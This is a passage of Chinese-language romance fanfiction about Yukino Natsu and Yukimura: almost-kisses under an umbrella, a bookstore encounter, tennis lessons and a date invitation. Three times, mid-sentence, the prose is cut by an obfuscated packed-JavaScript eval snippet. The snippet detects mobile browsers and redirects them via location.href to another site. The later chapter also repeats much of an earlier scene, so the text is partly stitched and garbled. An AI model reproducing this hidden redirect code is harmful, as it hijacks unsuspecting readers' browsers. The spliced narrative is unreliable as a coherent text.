后来,幸村给她讲解物理题,声音清润悦耳。他讲得很认真,但她全程在走神:他手指真好看,睫毛真长,声音真好听…… 然后他讲完了,抬起眼。 四目相对。 她来不及收回盯着他看的视线。 时间仿佛被按了慢放键,在那个瞬间被无限拉长。她能清楚看见他眼里自己的倒影,还有他微微颤动的睫毛。 空气突然变得稀薄又滚烫。她的目光不自觉地飘到他嘴唇上。 淡粉色,薄薄的,看起来很软。 砰、砰、砰! 心脏狂跳,像要挣脱胸腔。 那一刻,她感觉幸村的呼吸也乱了。他撑着桌面,身体缓缓前倾—— “砰!” 邻居关门的声音像一声惊雷,惊醒了两人。 他们同时弹开,各自扭头看别处,脸红得能煎蛋。 那个没完成的暧昧瞬间,就这样尴尬地悬在半空,谁也没再提。 现在,在哗啦啦的雨声和拥挤的伞下,想起昨天的未完成,夏感到浑身不自在,手脚像是新装上的,不知道该怎么放才好。 走到转角,一阵妖风袭来,伞面差点翻过去。 幸村手臂一揽,把她带进怀里。 呼啸的湿意瞬间被隔绝在外,他的温度和干净的气息将她包围。 夏回过神,微微一怔。 平日里看他,总觉得他带着古典美人的纤细感,现在贴近了才发现,那副身躯下蕴藏着结实的力道,胸膛并不单薄,手臂也结实有力。 她缩在他怀里,轻轻抖了一下。不知道是冷的,还是被这突如其来的亲密搞蒙了。 “没事吧?”幸村低头,声音就在她耳边。 “没……”她仰起脸,湿漉漉的睫毛上挂着雨珠。 目光再次撞在一起,在狭窄空间里纠缠。 幸村的目光落在她嘴唇上,停留了几秒。那灼热的注视让她呼吸一窒,预感下一秒要发生什么。 夏的指尖无意识地蜷缩起来,轻轻攥住他校服衬衫微湿的衣角。那细微的力道,更像是一种默许的邀请。 喉结滚动。 少年俯身,温热的呼吸混着雨水的清冽,拂过她的鼻尖。 “嘀——!!!” 一声尖锐的汽车喇叭,打破了所有氛围。 两人同时僵住。 视线在潮湿空气里纠缠了一秒,又各自移开。 雨还在下。 伞内又是一片安静。 - 啧,都怪那个司机,一点眼力见都没有。 想起昨天雨伞下那个被打断的、几乎就要成功的初吻,夏心里那点小失落又冒了出来。 淡粉色的,薄薄的,看起来软软的。 亲起来会是什么感觉呢? 好想试试啊!!! 这个念头一冒出来,她脸瞬间烧起来,后知后觉地烫手。 “雪野,下周六立海大和冰帝的表演赛,你是不是也要去啊?” 雾岛星罗的声音把她拉回现实。 雪野夏抬头,发现好友已经整理好书架,正倚在旁边,一脸促狭的看着她。 “你怎么知道……” “果然啊,”雾岛笑眯眯地托着下巴,“弦一郎都跟我说了,幸村特意要了观众席的票,还详细问了柳哪个位置视野最好、不容易被挡呢。” 雪野夏的脸“腾”地红了。她慌忙低头,假装认真检查稿纸,实则想找个地缝钻进去。 “雪野同学,”雾岛压低声音,飘过来一句,“你和幸村君……是不是在一起了?” 心跳漏拍。 恋爱才第二天,她还没准备好公开。就像刚买到限量版手办,只想藏起来自己偷偷欣赏,不想分给任何人看。 “我、我们……”她语塞,脸上热度蔓延,血液仿佛都涌向了耳尖。 面对雾岛通透的目光,她有种秘密被瞬间洞穿的羞赧,下意识地想用“好朋友”做挡箭牌。 但一想到幸村知道后可能又会不开心,她轻轻点了一下头。 “……嗯。”声音小得像蚊子叫。 雾岛眼睛弯成月牙:“恭喜呀。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17040180|193954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……谢谢。” 她本来以为会被刨根问底、严刑拷问的。 “不过呢,幸村君确实不错,虽然有时候……” 雾岛顿了顿,意味深长地补充,“……总之,和他谈恋爱,可能是场甜蜜又刺激的冒险哦。” 这点雪野夏举双手赞成。 幸村的温柔是真的,但那种深邃和偶尔流露的让人心跳漏拍的掌控欲也是真的。像一片平静的海,表面温和,深处却有你看不到的暗流。 这种复杂性,在恋爱后既让她着迷,又让她有点小紧张。 “对了,”雾岛转移话题,给她台阶下,“下周末文学部有合宿,在轻井泽。要去吗?” “合宿?” “嗯,两天一夜,讨论下期期刊。部长说他亲戚有空别墅,食宿全免,算是福利团建。” “我……”夏想说好,但想到幸村,又犹豫了。恋爱刚开始,她想多留点时间给他。 雾岛看出她的纠结:“不急,下周三前告诉我就行。” 部活结束后,夏还在烦恼。 她趴在桌上,把脸埋进臂弯,闷闷地对雾岛说:“雾岛,你说......我该去吗?” “想去就去啊,风景听说不错。”雾岛边收拾书包边说。 “不是那个意思……”夏抬头,眉头皱成“川”字,“我是说……和幸村。我们现在算交往了吧?可感觉好奇怪。明明想见他,真见面了又浑身不自在,手脚像借来的,说话也小心翼翼……比没交往前还紧张!” 她越说越沮丧:“以前还能正常说笑,现在反而……好像有堵透明墙隔着。我是不是不太正常?” 雾岛听完,“噗嗤”一声笑了。她坐到对面,一脸“我是过来人”的表情:“正常得不能再正常了,小雪野。这叫‘恋爱初期尴尬症候群’,又名‘确认关系后手足无措综合征’,几乎人人都会经历这一阶段的。” “人人都会?”夏眨眨眼,半信半疑。 “当然!关系突然从‘朋友’升级到‘恋人’,大脑需要时间更新系统嘛。会过度在意对方看法,会斟酌每句话,会为不小心碰到手而心跳加速还要假装淡定……这都是恋爱标配体验卡。” 雾岛分析得头头是道,然后揶揄地看着她,“怎么,嫌麻烦?想跳过新手教程?” 夏眼睛一亮,像抓住了救命稻草:“能跳过吗?有没有快速适应、避免尴尬的方法?” 雾岛眼中闪过狡黠的光,身体前倾,用气音慢悠悠地说:“跳过?跳到哪里去?难不成……你想直接解锁‘未成年禁止’章节?” “雾、雾岛!”夏瞬间从脸颊红到脖子,像只煮熟的虾,“你、你胡说什么!” “哈哈哈——”雾岛笑得直拍桌,“开玩笑嘛!” “你看,会害羞、会忐忑、会为一点小事心神不宁,这才是恋爱刚开始最有趣的部分啊。别急着跳过,好好享受这份‘不自在’吧,等你们真正熟稔到像左手握右手的时候,说不定还会怀念现在这种小鹿乱撞的感觉呢。” 夏把滚烫的脸埋回臂弯,只露出红透的耳尖,说话也闷声闷气的,羞赧又苦恼。 “……可是,现在这个阶段真的很难熬啊。” 嘴上这么说,但心里那份紧张和患得患失,却因为雾岛的“人人都会经历”理论和带着笑意的调侃,悄悄松动了。 原来大家都这样啊。 那……就慢慢熬吧。 反正,和他一起的话,就算尴尬,好像也挺甜的? 夏偷偷想着,嘴角不自觉地上扬了一点。 至少下次下雨,可以理直气壮地蹭伞了。 不对,是共享一把伞。 嗯,这说法好听多了。 16.C1-16 土曜日这天早上,神奈川突然下起了雨。 雪野夏趴在窗边,看着雨水顺着玻璃蜿蜒而下。 窗外的街道被洗刷得干干净净,水洼里倒映着灰蓝色的天空。 她原本计划去图书馆查资料,为文学部的合宿做准备。 轻井泽之行定在下周末,她还没决定要不要去,但以防万一,还是要提前做些功课。 手机震动,是幸村发来的消息: 「下雨了,今天有什么计划吗?」 夏犹豫了一下,回复道: 「想去书店查些资料。你呢?」 幸村:「画室。要一起出门吗?可以送你到书店附近。」 夏:「不用啦,我可能还要过一会才出门。」 消息发送成功的瞬间,她就后悔了。 ——明明就是想见他啊!为什么又下意识推开了! 夏抱着手机倒在床上,把脸埋进枕头里无声呐喊。自从确认关系后,每次在幸村面前,身体就像自动开启了“高标准社交模式”——说话会斟酌字句,做肢体动作会瞻前顾后,连笑都要先在心里排练几遍。 到底什么时候才能结束这种“恋爱新手村”状态啊!她也想和幸村像社交软件上那些情侣一样,自然地牵手走在雨里,在隐蔽角落交换一个偷来的吻,甚至...... 夏猛地坐起来,用力摇头把脑内越来越过火的画面甩掉。 “冷静,雪野夏,”她对着空气严肃告诫自己,“先从‘正常对话超过五句不心跳加速脸红耳热’开始吧......” 窗外雨声淅沥,像在偷笑。 —— 九点半,雪野夏带着伞出门了。 骤雨已经过去,现在的雨不大。 细密的毛毛雨,像雾一样笼罩着城市。 她沿着常走的街道,去车站附近的书店,优哉游哉地,偶尔停下来看路边花坛里被雨水洗得发亮的叶子。 书店和图书馆,是她从小就很喜欢的地方。 安静,有书香,还有那种时间缓慢流淌的感觉。 推开门,风铃发出清脆的声响。 “欢迎光临。”店员是个年轻的女生,正在整理书架。 夏点头致意,然后走向文学区。 她要找的是关于轻井泽的游记和散文。既然要去,就想多了解一些那个地方。 书架上整齐排列着各种书籍,她抽出几本看起来不错的,结账后,找了个靠窗的位置坐下。 窗外雨声淅沥,店内安静温暖。 夏翻开一本《轻井泽物语》,作者是位女作家,文笔细腻温柔。 她看着看着,很快就沉浸进去了。 不知过了多久,一阵压低的女生说话声把她拉回现实。 “绝对是他!你看这发型!” “不可能啦,丸井SAMA和切原SAMA怎么会这种时候书店......” 声音来自不远处的书架后。 夏抬起头,顺着两个女生讨论的对象方向望去,看见两个熟悉的身影。 ——切原赤也和丸井文太。 两人正凑在一起看着什么,在安静的书店里,越来越多的学生看过来,眼看就要引起骚动。 夏犹豫了一下,还是站起身走了过去。 “切原君,丸井君。”她轻声打招呼。 两人吓了一跳,切原手里的书差点掉地上。 “雪、雪野学姐!”他瞪大眼睛,“你怎么在这里?” “我来查资料。”夏看向他们手里的书,是本网球杂志,封面是幸村精市。 照片拍得很好,他正在挥拍,表情专注,鸢紫色的头发在阳光下闪着光。 “倒是你们俩,怎么会在这里?”夏问道。 “我们在找这期的特辑!”丸井露出标志性的笑容,“没想到会遇见雪野同学。一个人?” 他伸长脖子,往夏后方左看右看,却没有看到自家部长的影子。 “嗯。”夏点头,“你们今天没有训练吗?” 她听说网球部的练习挺严格的,一般周六也会有加训。但幸村早上却说自己要去画室,前几次周末也是约她出去玩。 “下雨天训练取消了。”切原说。 三人聊了几句,夏才知道今天网球部因为场地湿滑暂停训练。切原和丸井闲着没事,就准备去电玩城,路过书店看到网球杂志的特辑,于是便进来逛逛。 “雪野同学在看什么书?”丸井好奇地问。 “关于轻井泽的。”夏把书递给他看,“文学部下周末有合宿。” “轻井泽啊,”丸井吹了个泡泡,“风景超美的!我去年和家人去过,那边的手工果酱很好吃。” “丸井学长就知道吃。”切原吐槽。 “那也比你只知道打游戏好。” 看着两人斗嘴,夏忍不住笑了。这种轻松的相处氛围让她感觉很舒服。 他们一起挑了会儿书,丸井买了两本杂志和一本甜点食谱,切原买了一本游戏攻略。 “学姐接下来要去哪儿?”走出书店时,切原问。 “回家吧。”夏看看天色,雨似乎比来的时候要下得大了。 “那一起走到车站?”丸井提议。 “好啊。” —— 丸井没有带伞,夏便将自己的大伞递给切原,让他和丸井共用一把,自己则打着切原那把小伞。 三人走在雨中。雨水敲打伞面,发出清脆的啪嗒声。 “对了学姐,”切原突然想起什么,“下个月有球技大赛,你有想好要参加什么项目吗?” “球技大赛?” “立海大附中一年一度的校内活动啦!”丸井解释,“在期末考试后、暑假前,会举办班级间的排球、篮球等球类比赛,算是学期末的放松活动。” “球类比赛啊......”夏沉吟,“我没有很擅长的呢。” “那要不要试试网球?女生报名的人不多,学姐要是参加的话,获胜概率说不定挺大的。”切原提议。 “网球?”夏歪了歪头,“我还没打过呢。” “凡事都有第一次嘛,”切原立刻接话,语气热情。 “而且网球很简单的,把球打过网就行了,比英语数学什么的容易多了。”他越说越起劲,眼睛亮闪闪的,“学姐想学的话,我可以教你啊!” “啊?这......会不会太耽误你时间?期末考不要紧吗?”夏想起切原的文化课成绩似乎不太理想,这个时期他大概正该埋头复习才对。 “没关系没关系!劳逸结合嘛。”切原摆摆手,随即转向身旁,“丸井前辈也可以一起教,对吧?” 突然被拉下水的丸井点了点头:“行啊,没问题。不过——” 他眨了眨眼,嘴角浮起一抹促狭的笑,“说不定雪野同学更想让幸村部长教呢?” 一听到幸村的名字,切原瞬间像被戳破的气球般蔫了下来。 “也、也是哦......部长确实更厉害,教得也更好......” 夏见状微微一怔。小孩子吗?怎么还认真地攀比起来了? 几乎是同时,她眼前下意识浮现幸村站在网球场边的模样:温和的目光,从容的姿态,仿佛一切尽在他的掌控之中。 她轻轻摇头,低声说:“还是不了......我不想让他看到我笨手笨脚的样子。” 说着,她抬起眼望向两人,语气认真里带点恳切:“可以拜托你们教我吗?” 切原一听学姐竟在幸村部长和自己之间选择了自己,眼睛霎时亮了,方才那点小小的失落瞬间被抛到九霄云外。 “当然可以!”他挺直背脊,带着被认可的雀跃,用力拍了拍胸口。 看到小皮球又精神起来,夏松了口气,唇角不自觉地扬起。 丸井将一切尽收眼底,噗嗤笑出声,伸手揉了一把切原的头发:“你这家伙倒是有点自知之明啊。” 他转向夏,语气轻快而可靠:“那就这么说定了。明天下午怎么样?学校附近有家室内网球俱乐部,下雨天也能练习。” “好,谢谢你们。” 三人顺势交换了Line。 夏的指尖在“新好友”的通知上轻点通过,切原的头像是只咧嘴笑的恐龙,丸井则是一张吹泡泡糖的侧脸照。 “那明天下午两点,俱乐部见?”丸井确认道。 “嗯!”夏点头,又想起什么,“需要我带什么吗?” “球拍俱乐部可以租,先试试手感。”丸井经验老道地安排着,“穿运动服和便于活动的鞋子就好。” 切原在一旁补充:“还有毛巾和水!运动饮料也不错,学姐喜欢葡萄味还是柠檬味?我给你带。” 他问得自然。夏被他的认真逗笑了:“谢啦,不过我会自己准备的。” 雨势渐收,车站浮现在眼前。 三人在车站前分开。切原和丸井要坐反方向的电车,夏则是收到妈妈发来的消息,拜托她去超市买点东西。 “学姐再见!”切原跳上电车台阶,转身用力挥手,“明天绝对让你学会发球!” “别给人家太大压力啊。”丸井笑着推他后背,自己也回头朝夏眨眨眼,“明天见。” “再见,路上小心。”夏站在站台棚下,目送电车驶远。 随后转身,撑着伞,走向附近的超市。 —— 大概是下雨的缘故,加上现在又是中午,超市里人并不多。 夏推着购物车,按照妈妈发来的购物单挑选要帮忙买的东西:牛奶、面包、鸡蛋,还有一些蔬菜。 将这些东西放进购物车后,她忽然想起这几天都是妈妈在做饭。要不今天让妈妈休息一下吧? 这个念头刚冒出来,夏就蹙眉,鼓了鼓腮帮子。 怎么办?有点孝心,但不多。 而且说实话,她今天真的不太想下厨。 干脆买现成的便当好了。 一箭双雕。 这么想着,她推着购物车转向熟食区,想看看有没有特价的便当。 然后,她看见了幸村。 他站在冷冻食品柜前,手里拿着两盒速食咖喱,正在比较什么。 深蓝色的连帽衫,牛仔裤,发梢随着他歪头思考的动作,微微晃动。 夏下意识松开了握住推车的手。 要不要打招呼?可他看起来好像在认真挑选着什么.. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17049777|193954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .... 她去贸然打扰会不会不太好? 而且,打招呼后要说些什么呢? 明明说自己要去书店,结果却跑来了超市,他会不会觉得自己在骗他? 各种思绪在脑中乱成一团毛线。就在她犹豫的几秒钟里,幸村忽然转过头。 四目相对。 “夏。”他走过来,微微一笑,“好巧。” “好巧......”夏轻声应着,指尖局促地攥紧了购物车把手,“你也来买东西?” “嗯,家里没人,出来买晚餐。”幸村看了看她的购物车,眼尾含笑道,“被雪野阿姨拜托出来跑腿了?” “嗯。”夏下意识应声,随后才微微一怔,抬起眼睫,“......你怎么知道?” 幸村的笑意深了些,目光温和地落在她脸上,忽然竖起一根手指抵在唇边,轻声说:“秘密~(>^ω^<> 尾音轻轻上扬,像羽毛扫过耳畔。 夏:“?” 幸村他......刚刚是不是用了一个有点可爱的语气词? “怎么了?”幸村问,表情瞬间切回惯常的温和自然。 “你、你刚刚是不是......”夏心直口快,说到一半卡住,总觉得直接说“卖萌”两个字好像不太妥当,“......用了不太一样的说话方式?” 幸村微微偏头,眼神疑惑:“有吗?” 夏看着他那双盛满无辜的紫色眼眸,一时间竟说不出话来。 啊啊啊ε=ε=ε=(#>д<> 这个人好狡猾,明明就是故意的。 —— 两人并肩推着车往前走。超市的广播里播放着轻柔的音乐,雨声被隔绝在玻璃窗外。 “书店查完资料了?”幸村问。 “查完了。还遇到了切原君和丸井君。” 幸村笑了:“那两个家伙,下雨天也闲不住。” 他们走到蔬果区,幸村拿起一盒草莓看了看:“这个季节的草莓还不错。” “嗯,很甜。”夏想起母亲以前常买草莓做甜点。 “要不就试看吧。”幸村把草莓放进自己的购物车,“可以做草莓蛋糕或者草莓大福。” “你会做甜点?” “会一点。”幸村说,“百合子教的。” 夏有些惊讶。 她想象不出幸村围着围裙做甜点的样子。但仔细想想,又觉得很合理。他总是能把任何事情都做得很优雅。 他们推着购物车继续往前走,偶尔交谈几句。 幸村挑东西很仔细,会看成分表和保质期。夏发现他买菜的经验很丰富,不像第一次独自购物的样子。 “经常自己做饭?”她问。 “父母经常出差,百合子又还小,所以学会了。”幸村平静地说,“一开始也失败过很多次,但现在没问题了。” 结账时,幸村很自然地帮夏把东西装袋。收银员是个中年阿姨,看看夏,又看看幸村,露出意味深长的笑容。 “年轻人真般配。”她小声说。 夏的脸一下子红了。幸村倒是很淡定:“谢谢。” 走出超市,雨已经小了,变成细细的雨丝。天空开始放晴,西边的云层裂开一道缝,透出金色的光。 “需要我送你吗?”幸村说。 “不用了,很近。” “雨还没停。”幸村抬头看看天,“而且,我想送你。” 夏一怔,没有再拒绝。 她其实,也想和他再多待一会。 他们走在雨后的街道上。地面湿漉漉的,倒映着天空和树影。空气里有青草和泥土的香味,清新又好闻。 “关于文学部轻井泽的合宿,”幸村突然问,“你决定去了吗?” “......还没有。” “不想去?” “不是,”夏顿了顿,“其实,我没有和很多人一起过夜的经验。” 幸村理解地点点头,目光落在前方的水洼上:“如果你犹豫的点是这个,说明内心其实是想去的。” 他侧过脸看她,眼里的光很温和,“偶尔参与一次这样的集体活动,或许会有意外的收获。况且,雾岛同学也在,不必太担心。” “嗯。”夏轻轻应声,“我再想想。” —— 到公寓楼下时,雨已经完全停了。 太阳从云隙间漫出来,把湿漉漉的街道染成金色。 “这个,”幸村从纸袋里取出那盒草莓,递向她,“给你。” “诶?可是......” “就当是今天偶遇的礼物。”幸村微微笑着。 “你不是说要用来做甜点的吗?” “我买了两盒。” 夏望向他手中的袋子,果然还有一盒草莓静静躺在里面。 她接过草莓:“......谢谢。” “明天有安排吗?”他轻声问。 “明天......”夏刚启唇,却见幸村向前走近了半步。 傍晚的风穿过楼宇间的缝隙,轻轻掀起他额前的碎发。他眼眸温润,如雨后初晴的天空,笑容里漾着波光。 “要不要,和我约会?” 17.C1-17 声音落下的瞬间,一抹阳光正好从他身后斜斜漫来,把他的影子拉得很长。 在暖金色的光芒里,他深蓝的发梢随风拂动,晕开一层朦胧的光泽。 颀长的身影笼罩下来时,夏的视野短暂地昏暗了一瞬。 视野里的一切都淡去了颜色与形状,只剩下眼前这个人,和他瞳眸那片能将人溺毙的温柔。 她握着那盒草莓的手指,下意识地收紧。 塑料盒发出窸窣声,像是心跳不小心漏出的余韵。 ——后悔,现在就是铺天盖地的后悔。 早知道......早知道就不该先答应明天和切原学网球了!现在反悔还来得及吗? 脑海里浮现出小学弟收到约定取消的消息时,那双骤然黯淡下去的狗狗眼,夏的良心刺痛了一下。 “那个,我......”她咽了咽口水,“我明天......已经有约了。因为是提前说好的,所以......” 声音磕磕绊绊地像卡壳的磁带,越说越小,最后直接消音了。 说完低下头,完全不敢看幸村此刻的表情。 空气安静了几秒。 然后,她听见一声带着气音的低笑。 “这样啊。”幸村的声音温和依旧,“既然夏已经有约了,那就没办法了呢。” 他的语气里没有半点不悦,反而带着体贴的理解。这让夏松了口气,但又生出更多歉意。 “抱歉......” “不用道歉。”幸村摇摇头,“约定好的事就该好好履行。不过——” 他稍稍拖长了尾音,向前又迈了一小步。 两人间的距离骤然拉近,呼吸可闻。 “既然我被迫延后了,”他轻声说,眼底漾开笑意,“可以要求一点补偿吗?” “补、补偿?” “嗯。”幸村眼睫微垂,目光若有似无地掠过她的唇,又缓缓抬起,“比如......” 他刻意停顿,留白像羽毛轻搔过心尖。夏的大脑CPU霎时开始运行处理:补偿、靠近、欲言又止的眼神......难道是...... 她忽然踮起脚尖,飞快地在他脸颊上亲了一下。 柔软的触感一掠而过。 幸村微微睁大眼睛,一时怔住了。 时间仿佛静止。 风停住,阳光凝固,连远处的蝉鸣都消失在空气里。 夏:“??” 不是这样吗? 她后知后觉地意识到,自己是不是误解了什么,血液“轰”地涌上脸颊。 “对、对不起......”她语无伦次地后退半步,“我、我以为......那个‘补偿’是......” 幸村眨了眨眼睛,很慢很慢地,他抬起手,指尖轻轻触上刚刚被她亲过的地方。 “......原来如此。”他低声道,声音里含着一丝微妙的笑意,“夏的‘补偿’,比我想象的还要......” 他故作停顿,没有说完,步子向前踏了一步。 夏后退拉开的距离,被他瞬间移除,他温热的呼吸拂过额发。 “不过,”幸村微微低下头,声音轻得像耳语,“我刚刚想说的补偿,其实是希望你下次能多陪我一会儿。” “但是——”他顿了顿,指尖轻轻碰了碰自己的脸颊,“这个版本的‘补偿’,我更喜欢。” 他眼底的笑意几乎漫出来,明亮又狡黠。像是偷腥成功的猫。 夏愣愣地看着他的眼睛,脸颊烫得快要烧起来。身体像是被电流窜过,从心脏酥麻到指尖,轻飘飘地浮在半空里。 这个人......果然是故意的吧? —— 晚上,夏试着做草莓大福。 按照网上的食谱,她先煮红豆馅,然后准备糯米皮。 实操比视频教学的要难,糯米团总是粘手,包馅一不小心就破皮。失败了好几次后,她才终于做出几个像样的成品。 她把最好的两个摆盘,拍了照片。准备回头发给幸村,算是草莓的回礼。 拍完照片,她又觉得好笑。 给人家看草莓大福的照片,算什么回礼? 不过也没办法,明天是周日。要不是约了切原他们打网球,她就可以把这两个草莓大福带给幸村了。 最后,夏将草莓大福端给了正在电脑前加班的妈妈。 剩下的几个品相不太好,她决定自己尝。外皮软糯,红豆馅甜而不腻,草莓新鲜多汁。 虽然卖相不好,但味道还不错。 她坐在窗边,一边吃草莓大福一边看《轻井泽物语》。 书里写道: 【有些地方,你去或不去,它都在那里。但如果你去了,它就会成为你生命的一部分。】 夏盯着这段文字看了很久,然后抬起头,看向窗外。 雨后的神奈川,夜晚很安静,远处有零星的灯火,偶尔还有蝉鸣。 她拿起一旁的手机,打开通讯录,找到雾岛星罗的line。 迟疑片刻,夏发了一条消息: 「雾岛,轻井泽的合宿,我想参加。」 发送后,她放下手机,继续吃草莓大福。 不多时,手机震动。 打开一看,是幸村发来的消息: 「看起来很美呢。可惜不能尝尝看了o(╥﹏╥)o」 她回复: 「下次做给你吃。(づ ̄3 ̄)づ╭?~」 【幸村】:好啊,那我很期待。 有些地方,如果你去了,就会成为生命中的一部分。 就好比,她回到神奈川,遇到了幸村。 —— 第二天,雨后初晴。 上午,夏送妈妈去机场。明明才六月,正午的阳光已有些灼人,稍微动一会儿,就是满头大汗。 回到家后,她冲了个凉,吃过午饭稍作休息,才换上清爽的运动装出门。 约定的网球俱乐部离家不远。 抵达时,切原和丸井已经先到了,两人正在球场打练习赛。黄色的小球在墨绿色的场地上来回飞窜,发出清脆利落的击打声。 “学姐!”切原眼尖地看见她,立刻挥着球拍跑过来,额发被汗水浸得微湿,“我们来教你吧!” 丸井跟在后面,递给她一瓶水:“先适应一下场地。球拍租好了吗?” “嗯,在柜台租了这支。”夏举起手中略轻的入门拍。 “好!那我们先从最基础的开始!”切原干劲十足,拉着她走到空着的半场,“首先,握拍就像握手一样......” 教学开始后, 切原就像打了鸡血,教得格外认真,尽管表达有时跳跃,但示范动作毫无破绽,标准有力。 丸井则在一旁适时补充要点,用更易懂的方式解释发力技巧。 “手腕放松,用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082218|193954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身体转身的力量......对,就是这样!” 夏试着挥拍。 起初有点控制不好力道,球不是落网就是飞偏,或者出界。但在几次尝试后,也渐渐悟出一点门道,能打出像样的回球。 “学姐很有天赋嘛!”切原眼睛发亮。 中场休息时,三人坐在场边长椅上喝水。丸井忽然想起什么,从包里掏出一个小盒子:“对了,我带了能量软糖,补充体力很管用。” 他刚打开盒子,切原就眼疾手快地抓走一大把塞进嘴里,两颊鼓得像仓鼠。 “喂!赤也!那是给大家分的!”丸井瞪他。 切原含糊不清地说:“我教得最辛苦嘛......需要补充能量!” 丸井看着自己瞬间空了一半的盒子,又看了看一旁因为认真练习而微微喘气的夏,忽然一本正经地转向她: “雪野同学,你现在理解了吗?” “诶?理解什么?” “就是那句话啊——”丸井指了指还在拼命嚼软糖的切原,表情沉痛,“‘如果你感到负重前行,一定有狗东西在享福’。” 夏愣了一秒,随即看着切原那副理直气壮享受“教学成果”的模样,忍不住“噗”地笑出声。 “丸井前辈!”切原抗议,“我这是在储存教学体力!” “是是是,你储存的体力大概够教到明年全国大赛了。”丸井把剩下的软糖递给夏,“来,赶紧吃,不然某只‘教学体力储存仓鼠’要过来了。” 夏笑着接过软糖。 果汁爆开,一瞬间直冲颅顶。是清凉的薄荷味。 休息快结束时,丸井拿出手机提议:“来拍张照纪念第一次上课吧?” “好啊好啊。”切原凑过来。 夏也没有意见。 丸井举起手机,三人的脑袋凑在一起看镜头:切原还在努力咽下最后的软糖,鼓着脸比V字;夏抱着球拍笑得眉眼弯弯;丸井则俏皮地眨着一只眼睛,另一只手悄悄在切原头顶比了个兔耳朵。 “我发到动态啦!”丸井说着,手指轻点。 “前辈,也传给我一份!”切原兴奋地凑过去,“我也要发时间轴!让真田副部长看看我的教学成果,说不定能免了我的英语补习。” 正在喝水的夏听到“副部长”还没太大反应,却紧接着听到切原的下一句:“幸村部长肯定也会点赞的!” 她一口气没顺过来,被水呛得连连咳嗽。 丸井和切原同时转头看向她。 “雪野同学,没事吧?” “学姐?” “那、那个动态......”夏缓过气,手指无意识地捏着水瓶,“真的要发吗?我是说......幸村君也会看到?” 她的声音越说越小。昨天傍晚那个“补偿之吻”的记忆突然涌上来,脸颊开始发烫。 丸井文太看着夏僵硬的表情和泛红的耳尖,立刻反应过来——她来和他们打球的事,没有向男朋友报备。 丸井拍了拍夏的肩膀,语气轻松得安慰:“安啦,幸村部长很大方的。绝对不会因为你偷偷和我们学网球却没找他就生气的。” 切原在一旁用力点头,眼神真诚得发光:“没错!部长最讲道理了!他肯定能理解你先答应我们不好反悔,绝对不是故意瞒着他的!” 夏:“......” 她怎么觉得,这两个人每多说一句,自己后背就更凉一分呢? 18.C1-18 第二天早上醒来,窗外又在噼里啪啦地下雨。 若不是手机日历显示今天是周日,雪野夏还以为昨日重现。 吃完早饭后,她趴在窗边,看着雨水顺着玻璃蜿蜒而下。 原本计划上午去图书馆,查点资料,为文学部的合宿做准备。 轻井泽合宿定在这个月中旬,她还没决定要不要去,但以防万一,还是要提前做些功课。 手机震动,是幸村发来的消息: 「下雨了,今天有什么计划吗?」 夏犹豫了一下,回复道: 「想去书店查些资料。你呢?」 幸村:「准备和真田去俱乐部打球。要一起出门吗?可以送你到书店附近。」 夏:「不用啦,我可能还要过一会才出门。」 消息发送成功的瞬间,她就后悔了。 ——明明就是想见他啊!为什么又下意识推开了! 夏抱着手机倒在床上,把脸埋进枕头里无声呐喊。 自从确认关系后,每次在幸村面前,身体就像自动开启了“高标准社交模式”。 说话要斟酌字句,做肢体动作会瞻前顾后,连笑都要先在心里排练几遍。 到底什么时候才能结束这种“恋爱新手村”状态啊!她也想和幸村像社交软件上那些情侣一样,见面时热情地扑进对方怀抱,在隐蔽角落交换一个偷来的吻,甚至...... 夏猛地坐起来,用力摇头把脑内越来越过火的画面甩掉。 “冷静,雪野夏,”她对着空气严肃告诫自己,“先从‘正常对话超过五句不心跳加速脸红耳热’开始吧......” 窗外雨声淅沥,像在偷笑。 —— 九点半,夏带着伞出门了。 骤雨已经过去,现在的雨不大。 细密的毛毛雨,像雾一样笼罩着城市。 她沿着常走的街道,去车站附近的书店,优哉游哉地,偶尔停下来看路边花坛里被雨水洗得发亮的叶子。 书店和图书馆,是她从小就很喜欢的地方。 安静,有书香,还有那种时间缓慢流淌的感觉。 推开门,风铃发出清脆的声响。 “欢迎光临。”店员是个年轻的女生,正在整理书架。 夏点头致意,然后走向文学区。 她要找的是关于轻井泽的游记和散文。既然要去,就想多了解一些那个地方。 书架上整齐排列着各种书籍,她抽出几本看起来不错的,结账后,找了个靠窗的位置坐下。 窗外雨声淅沥,店内安静温暖。 夏翻开一本《轻井泽物语》,作者是位女作家,文笔细腻温柔。 她看着看着,很快就沉浸进去了。 不知过了多久,一阵压低的女生说话声把她拉回现实。 “绝对是他!你看这发型!” 